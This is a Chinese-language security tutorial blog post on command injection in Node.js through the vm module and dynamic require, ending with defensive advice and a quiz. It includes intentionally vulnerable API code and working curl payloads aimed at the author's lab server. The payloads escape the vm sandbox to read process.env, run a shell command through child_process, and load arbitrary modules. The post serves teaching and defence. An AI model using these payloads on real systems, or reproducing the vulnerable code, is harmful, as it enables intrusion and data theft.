iT邦幫忙

2024 iThome 鐵人賽

DAY 18
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 18

資安這條路:Day 18 Node.js 中 Command injection 誤用 vm 模組沙箱逃脫和 require:函數的資安風險

  • 分享至 

  • xImage
  •  

前言

在網站開發中,Command injection(指令注入)一直是一個嚴重的安全威脅。這種攻擊方式允許惡意使用者透過操縱應用程式的輸入,執行未經授權的系統指令。

雖然許多開發者都知道要謹慎處理使用者輸入,特別是在執行系統指令時,但在 Node.js 環境中,還存在一些不太明顯但同樣危險的注入風險。

本篇文章將聚焦於 Node.js 中兩個常被誤用的強大功能: vm 模組和 require 函數。

這兩個功能雖然設計初衷是為了提高應用程式的靈活性和功能性,但如果過度信任使用者輸入,它們可能成為 Command injection 的新途徑。

vm 模組旨在提供一個沙箱環境來執行 JavaScript 程式碼,理論上應該是隔離且安全的。然而,如果使用不當,攻擊者可能突破這個沙箱,執行惡意程式碼。

例如:

const vm = require ('vm');
const userInput = '... 惡意程式碼 ...';
vm.runInNewContext (userInput); // 潛在的安全風險

同樣,require 函數是 Node.js 模組系統的核心,但如果允許動態載入使用者指定的模組,也可能導致嚴重的安全問題:

const moduleName = '... 使用者輸入 ...';
require (moduleName); // 可能載入惡意模組

這兩個例子都展示了過度信任使用者輸入可能帶來的風險。攻擊者可能利用這些機制執行未經授權的程式碼,存取敏感資訊,甚至控制整個系統。

vm 模組介紹

vm 模組的用途和基本使用

vm 模組是 Node.js 提供的一個核心模組,它允許在 V8 虛擬機的上下文中編譯和執行程式碼。其主要用途包括:

  • 在隔離的環境中執行不受信任的程式碼
  • 為特定程式碼片段提供獨立的全域環境
  • 在執行時動態評估 JavaScript 程式碼

基本使用範例:

const vm = require ('vm');
const sandbox = { x: 1 };
vm.runInNewContext ('x += 1;', sandbox);
console.log (sandbox.x); // 輸出: 2

沙箱環境的概念

vm 模組的沙箱環境旨在提供一個隔離的執行環境,理論上可以防止不受信任的程式碼存取或修改主程式的狀態。
然而,這種隔離並非完全安全。

vm 模組的潛在風險

儘管 vm 模組提供了一定程度的隔離,但它並不能完全防止惡意程式碼的執行。攻擊者可能透過各種技術突破沙箱限制,存取 Node.js 進程的全域物件,甚至執行系統指令。

require 函數介紹

require 函數的作用

require 函數是 Node.js 模組系統的核心,用於載入和使用其他 JavaScript 模組。它的主要作用包括:

  • 載入內置模組
  • 載入第三方模組
  • 載入自定義模組

基本使用範例:

const fs = require ('fs');
const myModule = require ('./myModule');

動態載入模組的優勢和風險

動態載入模組可以提高應用程式的靈活性,允許根據執行時條件載入不同的模組。然而,如果不加限制地允許動態載入,可能導致安全風險,特別是當載入的模組路徑來自不可信的輸入時。

實際案例分析

程式碼

https://github.com/fei3363/ithelp_web_security_2024/commit/4bd369533c160cf92216e1ec60d0946d06a2c0fc

vm 沙箱穿越攻擊

程式碼範例

以下是一個存在 vm 沙箱穿越風險的程式碼範例:

const vm = require ('vm');

const brokenApi = {
  runUserCode: function (req, res) {
    const userInput = req.body.code;
    const sandbox = { result: null };
    try {
      vm.runInNewContext (`result = ${userInput}`, sandbox);
      res.json ({ result: sandbox.result });
    } catch (error) {
      res.status (500).json ({ error: error.message });
    }
  }
};

攻擊原理解析

攻擊者可以利用以下 payload 來突破 vm 沙箱的限制:

curl -X POST http://nodelab.feifei.tw/api/broken/vm \
     -H "Content-Type: application/json" \
     -d '{"code": "this.constructor.constructor (\"return process.env\")()"}'

image

curl -X POST http://nodelab.feifei.tw/api/broken/vm \
     -H "Content-Type: application/json" \
     -d '{
       "code": "(function (){try {const process=this.toString.constructor (\"return process\")();return process.mainModule.require (\"child_process\").execSync (\"ls\").toString ()} catch (e){return\"Error: \"+e.message}})()"
     }'

image

這個攻擊利用了 JavaScript 的原型和函數構造器來存取 global 物件,進而取得 process 物件並執行系統指令。

動態 require 攻擊

程式碼範例

以下是一個存在動態 require 風險的程式碼範例:

const brokenApi = {
  dynamicRequire: function (req, res) {
    const moduleName = req.body.module;
    try {
      const module = require (moduleName);
      res.json ({ module: 'Module loaded successfully' });
    } catch (error) {
      res.status (500).json ({ error: error.message });
    }
  }
};

潛在的安全隱患

攻擊者可以利用這個功能載入任意模組,包括潛在的惡意模組或敏感的系統模組:

curl -X POST http://nodelab.feifei.tw/api/broken/require \
     -H "Content-Type: application/json" \
     -d '{"module": "fs"}'

image

這可能導致未經授權存取檔案系統或執行其他危險操作。

防禦措施

對於 vm 模組和 require 函數的誤用,我們可以採取以下防禦措施:

安全使用 vm 模組的最佳實踐

  • 使用 vm2 等更安全的沙箱庫替代原生 vm 模組
  • 嚴格限制沙箱環境中可用的全域物件和函數
  • 對執行的程式碼進行嚴格的語法分析和安全檢查

限制 require 函數的使用範圍

  • 避免使用動態 require,或者嚴格限制可載入的模組範圍
  • 使用依賴注入等設計模式,避免直接使用 require

程式碼審查和安全測試的重要性

  • 定期進行程式碼審查,特別關注 vm 和 require 的使用
  • 進行滲透測試和安全掃描,及時發現潛在的漏洞

替代方案

安全的程式碼執行替代方案

  • 使用受限的表達式函式庫,如 expr-eval
  • 採用預定義的安全流程,而不是執行任意程式碼

模組載入的安全策略

  • 使用靜態分析工具檢測並限制模組的依賴關係
  • 實現自定義的模組載入器,對載入的模組進行安全檢查

總結

vm 模組和 require 函數雖然 powerful,但使用時需要格外謹慎。開發者應該充分了解這些功能的潛在風險,採取適當的安全措施,並在必要時尋求更安全的替代方案。在追求功能和靈活性的同時,安全性永遠應該是首要考慮的因素。

小試身手

  1. vm.runInNewContext 的主要用途是什麼?
    A) 執行系統指令
    B) 在隔離環境中執行程式碼
    C) 動態載入模組
    D) 解析 JSON

    答案: B
    解釋: vm.runInNewContext 的主要用途是在一個隔離的上下文中執行 JavaScript 程式碼,提供一定程度的安全性。

  2. 下面哪種做法最容易導致動態 require 的安全問題?
    A) require ('./myModule')
    B) require (path.join (__dirname, 'myModule'))
    C) require (userInput)
    D) require ('fs')

    答案: C
    解釋:直接使用使用者輸入作為 require 的參數是非常危險的,因為它允許載入任意模組,包括潛在的惡意模組。

  3. 使用 vm 模組執行不信任的程式碼時,以下哪種做法是不安全的?
    A) 限制執行時間
    B) 限制可用內存
    C) 提供完整的 Node.js API 存取權限
    D) 使用 vm2 替代原生 vm 模組

    答案: C
    解釋:為不信任的程式碼提供完整的 Node.js API 存取權限是極其危險的,可能導致惡意程式碼執行各種未授權的操作。

  4. 在使用 vm.runInNewContext 時,以下哪種做法可以提高安全性?
    A) 增加程式碼執行的超時時間
    B) 使用空物件作為沙箱環境
    C) 在沙箱中提供 require 函數
    D) 限制沙箱環境中可用的全域物件

    答案: D
    解釋:限制沙箱環境中可用的全局物件可以減少潛在的攻擊面,提高程式碼執行的安全性。提供最小必要的上下文是一種良好的安全實踐。

  5. 關於 require 函數,以下哪個陳述是正確的?
    A) require 函數總是安全的,不需要額外的防護措施
    B) 動態 require 應該被完全禁止使用
    C) require 函數可以用來載入 JSON 檔案
    D) require 函數只能用於載入 Node.js 內置模塊

    答案: C
    解釋: require 函數確實可以用來載入 JSON 檔案,這是它的一個合法用途。然而,require 並非總是安全的,動態 require 應該謹慎使用而非完全禁止,且 require 可以載入各種類型的模塊,不僅限於內置模塊。


上一篇
資安這條路:Day 17: 探索 SSTI (伺服器端模板注入) 漏洞
下一篇
資安這條路:Day 19 Node.js 不安全反序列化與 out-of-band
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言